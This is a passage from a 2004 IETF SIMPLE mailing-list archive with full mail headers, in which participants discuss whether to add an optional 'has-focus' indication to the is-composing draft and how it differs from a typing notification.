an unobservable reality. A long idle time may just mean that you're 
reading next to your PC, but it might also explain why you're not answering.

One possible generic solution is to define an 'interaction state' 
variable and allow multiple values, including 'composing' and 
'out-of-focus'.

I doubt this is the most important feature in IM systems, but it would 
be much harder to add later than now, so I'd rather settle this now.

Henning

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  9 16:49:27 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA00932
	for <simple-archive@odin.ietf.org>; Tue, 9 Mar 2004 16:49:27 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0p5v-0006hF-3M
	for simple-archive@odin.ietf.org; Tue, 09 Mar 2004 16:49:00 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i29LmxdK025735
	for simple-archive@odin.ietf.org; Tue, 9 Mar 2004 16:48:59 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0p5u-0006h0-Ts
	for simple-web-archive@optimus.ietf.org; Tue, 09 Mar 2004 16:48:58 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA00891
	for <simple-web-archive@ietf.org>; Tue, 9 Mar 2004 16:48:55 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0p5s-0000JD-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 16:48:56 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0p50-00009V-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 16:48:03 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0p4G-0007mt-00; Tue, 09 Mar 2004 16:47:16 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0p41-0006N6-MI; Tue, 09 Mar 2004 16:47:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0p3v-0006LX-6S
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 16:46:55 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA00674
	for <simple@ietf.org>; Tue, 9 Mar 2004 16:46:52 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0p3t-0007kh-00
	for simple@ietf.org; Tue, 09 Mar 2004 16:46:53 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0p30-0007ac-00
	for simple@ietf.org; Tue, 09 Mar 2004 16:45:59 -0500
Received: from reliant.cs.columbia.edu ([128.59.16.60])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0p20-0007Qg-00
	for simple@ietf.org; Tue, 09 Mar 2004 16:44:56 -0500
Received: from reliant.cs.columbia.edu (localhost [127.0.0.1])
	by localhost (Postfix) with SMTP
	id 3B4674D080; Tue,  9 Mar 2004 16:43:20 -0500 (EST)
Received: from bear.cs.columbia.edu (bear.cs.columbia.edu [128.59.16.121])
	by reliant.cs.columbia.edu (Postfix) with ESMTP
	id 7A4D64D553; Tue,  9 Mar 2004 05:29:50 -0500 (EST)
Received: from cs.columbia.edu (pool-138-89-69-144.mad.east.verizon.net [138.89.69.144])
	(authenticated bits=0)
	by bear.cs.columbia.edu (8.12.9/8.12.9) with ESMTP id i29AVLfG016772
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Tue, 9 Mar 2004 05:31:22 -0500
Message-ID: <404D9CF2.9010801@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7a) Gecko/20040219
X-Accept-Language: en-us, en, de
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Cc: Simple WG <simple@ietf.org>
Subject: Re: [Simple] is-composing: has-focus?
References: <404C511B.7050506@cs.columbia.edu> <404D6702.1080701@dynamicsoft.com>
In-Reply-To: <404D6702.1080701@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-PMX-Version: 4.5.0.92886, Antispam-Core: 4.0.4.92622, Antispam-Data: 2004.3.9.93811
X-PerlMx-Spam: Gauge=XII, Probability=12%, Report='X_NJABL_DUL 1, __HAS_MSGID 0, __SANE_MSGID 0, __USER_AGENT 0, X_ACCEPT_LANG 0, __MIME_VERSION 0, __TO_MALFORMED_2 0, __REFERENCES 0, __IN_REP_TO 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, RCVD_IN_NJABL_ORG 0, __MOZILLA_MSGID 0, REFERENCES 0.000, IN_REP_TO 0, USER_AGENT 0.000'
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 09 Mar 2004 05:31:14 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



Jonathan Rosenberg wrote:

> Firstly, "has-focus" is probably a bad name, since its dangerously close 
> to "is-focus" which means something entirely different in the SIP 
> specifications...

We have another "session" word :-)

> 
> Secondly, does this really provide useful information? Just because the 
> window doesnt have focus doesnt mean I'm not paying attention. Indeed, I 
> frequently look at another window while a user is typing to me (often 
> another IM conversation). Or, to ask more concretely, how would a user 
> change their behavior in knowing that my IM window didnt have focus?

Probably mostly the converse: if the IM application doesn't have focus 
and I don't get any response, it may well be that my counterpart is 
distracted.

The problem is similar to <idle>: it's an observation that approximates 
an unobservable reality. A long idle time may just mean that you're 
reading next to your PC, but it might also explain why you're not answering.

One possible generic solution is to define an 'interaction state' 
variable and allow multiple values, including 'composing' and 
'out-of-focus'.

I doubt this is the most important feature in IM systems, but it would 
be much harder to add later than now, so I'd rather settle this now.

Henning

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  9 16:50:56 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA01085
	for <simple-archive@ietf.org>; Tue, 9 Mar 2004 16:50:56 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0p7p-0000gd-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 16:50:57 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0p6w-0000VA-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 16:50:03 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0p62-0000Ke-00; Tue, 09 Mar 2004 16:49:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0p5x-0006hR-JT; Tue, 09 Mar 2004 16:49:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0p5q-0006fw-2C
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 16:48:54 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA00868
	for <simple@ietf.org>; Tue, 9 Mar 2004 16:48:51 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0p5o-0000IY-00
	for simple@ietf.org; Tue, 09 Mar 2004 16:48:52 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0p4o-00007Z-00
	for simple@ietf.org; Tue, 09 Mar 2004 16:47:51 -0500
Received: from goalie.snowshore.com ([216.57.133.4] helo=webshield.office.snowshore.com)
	by ietf-mx with smtp (Exim 4.12)
	id 1B0p3q-0007ce-00
	for simple@ietf.org; Tue, 09 Mar 2004 16:46:51 -0500
Received: from zoe.office.snowshore.com(192.168.1.172) by webshield.office.snowshore.com via csmap 
	 id 853; Tue, 09 Mar 2004 16:45:49 -0500 (EST)
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] is-composing: has-focus?
Message-ID: <4A3384433CE2AB46A63468CB207E209DB2438A@zoe.office.snowshore.com>
Thread-Topic: [Simple] is-composing: has-focus?
Thread-Index: AcQFoe92D286H90+RWWIPckHjBoMLQAffRZA
From: "Eric Burger" <eburger@snowshore.com>
To: "Henning Schulzrinne" <hgs@cs.columbia.edu>
Cc: "Simple WG" <simple@ietf.org>
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 9 Mar 2004 16:46:18 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable

How is this different from AIM's "Typing..." notification?

> -----Original Message-----
> From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
> Sent: Tuesday, March 09, 2004 1:41 AM
> To: Henning Schulzrinne
> Cc: Simple WG
> Subject: Re: [Simple] is-composing: has-focus?
>=20
>=20
> Firstly, "has-focus" is probably a bad name, since its=20
> dangerously close=20
> to "is-focus" which means something entirely different in the SIP=20
> specifications...
>=20
> Secondly, does this really provide useful information? Just=20
> because the=20
> window doesnt have focus doesnt mean I'm not paying=20
> attention. Indeed, I=20
> frequently look at another window while a user is typing to me (often=20
> another IM conversation). Or, to ask more concretely, how=20
> would a user=20
> change their behavior in knowing that my IM window didnt have focus?
>=20
> -Jonathan R.
>=20
> Henning Schulzrinne wrote:
>=20
> > The AT&T Hubbubb IM/presence client=20
> (http://www.hubbubme.com/) has an=20
> > interesting feature that fits nicely into the is-composing draft: a=20
> > 'has-focus' indication that shows if the IM application has=20
> the user's=20
> > window focus, i.e., the user is paying attention to what's=20
> being sent=20
> > from the other side or is likely to respond soon. Any opinions of=20
> > including this as an optional state, i.e., a user MUST be=20
> able to choose=20
> > whether this gets sent and it MUST be off by default?
> >=20
> > Henning
> >=20
> > _______________________________________________
> > Simple mailing list
> > Simple@ietf.org
> > https://www1.ietf.org/mailman/listinfo/simple
> >=20
>=20
> --=20
> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> Chief Technology Officer                    Parsippany, NJ 07054-2711
> dynamicsoft
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
>=20
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
>=20
>=20


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  9 16:51:27 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA01221
	for <simple-archive@odin.ietf.org>; Tue, 9 Mar 2004 16:51:27 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0p7s-0006zg-4b
	for simple-archive@odin.ietf.org; Tue, 09 Mar 2004 16:51:00 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i29Lp0VP026878
	for simple-archive@odin.ietf.org; Tue, 9 Mar 2004 16:51:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0p7r-0006zR-Vw
	for simple-web-archive@optimus.ietf.org; Tue, 09 Mar 2004 16:51:00 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA01106
	for <simple-web-archive@ietf.org>; Tue, 9 Mar 2004 16:50:56 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0p7p-0000gi-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 16:50:57 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0p6x-0000VH-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 16:50:03 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0p62-0000Ke-00; Tue, 09 Mar 2004 16:49:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0p5x-0006hR-JT; Tue, 09 Mar 2004 16:49:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0p5q-0006fw-2C
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 16:48:54 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA00868
	for <simple@ietf.org>; Tue, 9 Mar 2004 16:48:51 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0p5o-0000IY-00
	for simple@ietf.org; Tue, 09 Mar 2004 16:48:52 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0p4o-00007Z-00
	for simple@ietf.org; Tue, 09 Mar 2004 16:47:51 -0500
Received: from goalie.snowshore.com ([216.57.133.4] helo=webshield.office.snowshore.com)
	by ietf-mx with smtp (Exim 4.12)
	id 1B0p3q-0007ce-00
	for simple@ietf.org; Tue, 09 Mar 2004 16:46:51 -0500
Received: from zoe.office.snowshore.com(192.168.1.172) by webshield.office.snowshore.com via csmap 
	 id 853; Tue, 09 Mar 2004 16:45:49 -0500 (EST)
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] is-composing: has-focus?
Message-ID: <4A3384433CE2AB46A63468CB207E209DB2438A@zoe.office.snowshore.com>
Thread-Topic: [Simple] is-composing: has-focus?
Thread-Index: AcQFoe92D286H90+RWWIPckHjBoMLQAffRZA
From: "Eric Burger" <eburger@snowshore.com>
To: "Henning Schulzrinne" <hgs@cs.columbia.edu>
Cc: "Simple WG" <simple@ietf.org>
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 9 Mar 2004 16:46:18 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

How is this different from AIM's "Typing..." notification?

> -----Original Message-----
> From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
> Sent: Tuesday, March 09, 2004 1:41 AM
> To: Henning Schulzrinne
> Cc: Simple WG
> Subject: Re: [Simple] is-composing: has-focus?
>=20
>=20
> Firstly, "has-focus" is probably a bad name, since its=20
> dangerously close=20
> to "is-focus" which means something entirely different in the SIP=20
> specifications...
>=20
> Secondly, does this really provide useful information? Just=20
> because the=20
> window doesnt have focus doesnt mean I'm not paying=20
> attention. Indeed, I=20
> frequently look at another window while a user is typing to me (often=20
> another IM conversation). Or, to ask more concretely, how=20
> would a user=20
> change their behavior in knowing that my IM window didnt have focus?
>=20
> -Jonathan R.
>=20
> Henning Schulzrinne wrote:
>=20
> > The AT&T Hubbubb IM/presence client=20
> (http://www.hubbubme.com/) has an=20
> > interesting feature that fits nicely into the is-composing draft: a=20
> > 'has-focus' indication that shows if the IM application has=20
> the user's=20
> > window focus, i.e., the user is paying attention to what's=20
> being sent=20
> > from the other side or is likely to respond soon. Any opinions of=20
> > including this as an optional state, i.e., a user MUST be=20
> able to choose=20
> > whether this gets sent and it MUST be off by default?
> >=20
> > Henning
> >=20
> > _______________________________________________
> > Simple mailing list
> > Simple@ietf.org
> > https://www1.ietf.org/mailman/listinfo/simple
> >=20
>=20
> --=20
> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> Chief Technology Officer                    Parsippany, NJ 07054-2711
> dynamicsoft
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
>=20
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
>=20
>=20


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  9 16:52:52 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA01321
	for <simple-archive@ietf.org>; Tue, 9 Mar 2004 16:52:52 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0p9h-00011w-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 16:52:53 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0p8n-0000ry-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 16:51:58 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0p7x-0000ht-00; Tue, 09 Mar 2004 16:51:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0p7u-000704-M7; Tue, 09 Mar 2004 16:51:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0p71-0006v4-2h
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 16:50:07 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA00998
	for <simple@ietf.org>; Tue, 9 Mar 2004 16:50:04 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0p6z-0000VV-00
	for simple@ietf.org; Tue, 09 Mar 2004 16:50:05 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0p62-0000Kr-00
	for simple@ietf.org; Tue, 09 Mar 2004 16:49:07 -0500
Received: from [128.59.16.20] (helo=cs.cs.columbia.edu)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0p5a-0000AN-00
	for simple@ietf.org; Tue, 09 Mar 2004 16:48:38 -0500
Received: from magnum.cs.columbia.edu (IDENT:root@magnum.cs.columbia.edu [128.59.16.117])
	by cs.cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i29LmaJw001149;
	Tue, 9 Mar 2004 16:48:36 -0500 (EST)
Received: from cs.columbia.edu (chairpc.cs.columbia.edu [128.59.16.206])
	by magnum.cs.columbia.edu (8.11.6/8.9.3) with ESMTP id i29LmaC27160;
	Tue, 9 Mar 2004 16:48:36 -0500
Message-ID: <404E3BB4.2010001@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7a) Gecko/20040219
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Eric Burger <eburger@snowshore.com>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] is-composing: has-focus?
References: <4A3384433CE2AB46A63468CB207E209DB2438A@zoe.office.snowshore.com>
In-Reply-To: <4A3384433CE2AB46A63468CB207E209DB2438A@zoe.office.snowshore.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 09 Mar 2004 16:48:36 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Typing presumably refers to composing a message for the IM client. Focus 
describes whether the IM window has input focus. Typing implies focus, 
but not vice versa.

Eric Burger wrote:

> How is this different from AIM's "Typing..." notification?
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  9 16:53:24 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA01358
	for <simple-archive@odin.ietf.org>; Tue, 9 Mar 2004 16:53:24 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0p9k-00079n-SB
	for simple-archive@odin.ietf.org; Tue, 09 Mar 2004 16:52:56 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i29Lquk1027505
	for simple-archive@odin.ietf.org; Tue, 9 Mar 2004 16:52:56 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0p9k-00079Y-Nk
	for simple-web-archive@optimus.ietf.org; Tue, 09 Mar 2004 16:52:56 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA01339
	for <simple-web-archive@ietf.org>; Tue, 9 Mar 2004 16:52:53 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0p9i-000121-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 16:52:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0p8o-0000s5-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 16:51:59 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0p7x-0000ht-00; Tue, 09 Mar 2004 16:51:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0p7u-000704-M7; Tue, 09 Mar 2004 16:51:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0p71-0006v4-2h
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 16:50:07 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA00998
	for <simple@ietf.org>; Tue, 9 Mar 2004 16:50:04 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0p6z-0000VV-00
	for simple@ietf.org; Tue, 09 Mar 2004 16:50:05 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0p62-0000Kr-00
	for simple@ietf.org; Tue, 09 Mar 2004 16:49:07 -0500
Received: from [128.59.16.20] (helo=cs.cs.columbia.edu)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0p5a-0000AN-00
	for simple@ietf.org; Tue, 09 Mar 2004 16:48:38 -0500
Received: from magnum.cs.columbia.edu (IDENT:root@magnum.cs.columbia.edu [128.59.16.117])
	by cs.cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i29LmaJw001149;
	Tue, 9 Mar 2004 16:48:36 -0500 (EST)
Received: from cs.columbia.edu (chairpc.cs.columbia.edu [128.59.16.206])
	by magnum.cs.columbia.edu (8.11.6/8.9.3) with ESMTP id i29LmaC27160;
	Tue, 9 Mar 2004 16:48:36 -0500
Message-ID: <404E3BB4.2010001@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7a) Gecko/20040219
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Eric Burger <eburger@snowshore.com>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] is-composing: has-focus?
References: <4A3384433CE2AB46A63468CB207E209DB2438A@zoe.office.snowshore.com>
In-Reply-To: <4A3384433CE2AB46A63468CB207E209DB2438A@zoe.office.snowshore.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 09 Mar 2004 16:48:36 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Typing presumably refers to composing a message for the IM client. Focus 
describes whether the IM window has input focus. Typing implies focus, 
but not vice versa.

Eric Burger wrote:

> How is this different from AIM's "Typing..." notification?
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  9 17:26:53 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA02865
	for <simple-archive@ietf.org>; Tue, 9 Mar 2004 17:26:53 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0pgc-0006lu-00
